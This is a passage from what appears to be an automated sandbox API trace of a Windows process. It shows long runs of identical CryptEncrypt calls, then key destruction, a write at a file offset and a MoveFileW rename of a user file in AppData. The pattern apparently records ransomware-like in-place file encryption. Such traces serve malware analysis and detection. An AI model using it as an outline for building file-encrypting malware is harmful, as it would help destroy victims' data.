pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.631] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.631] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.631] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.631] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.631] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.631] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.631] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.631] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.631] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.631] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.631] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.631] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.631] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.632] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.632] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.632] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.632] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.632] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.632] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.632] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.632] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.632] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.632] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.632] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.632] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.632] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.632] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.632] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.633] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.633] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.633] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.633] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.633] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.633] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.633] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.633] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.633] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.633] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.633] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.633] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.633] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.634] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.634] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.634] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.634] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.634] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.634] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.634] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.634] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.634] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.634] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.634] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.634] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.634] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.634] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.634] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.634] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.634] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.634] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.634] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.635] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.635] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.635] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.635] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.635] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.635] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.635] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.635] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.635] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.635] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.635] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.635] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.635] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.635] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.636] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.636] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.636] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.636] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.636] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.636] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.636] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.636] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.636] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.636] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.636] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.636] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.636] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.636] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.636] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.636] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.636] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.636] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.637] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.637] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.637] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.637] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.637] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.637] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.637] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.637] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.637] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.637] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.637] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.637] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.641] CryptDestroyKey (hKey=0x1639568) returned 1 [0063.641] CryptReleaseContext (hProv=0x163b8e8, dwFlags=0x0) returned 1 [0063.641] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x1389c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.641] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0063.641] GetProcessHeap () returned 0x1600000 [0063.641] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x280) returned 0x1654d40 [0063.641] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\LC8mHy4MO_lq.flv" (normalized: 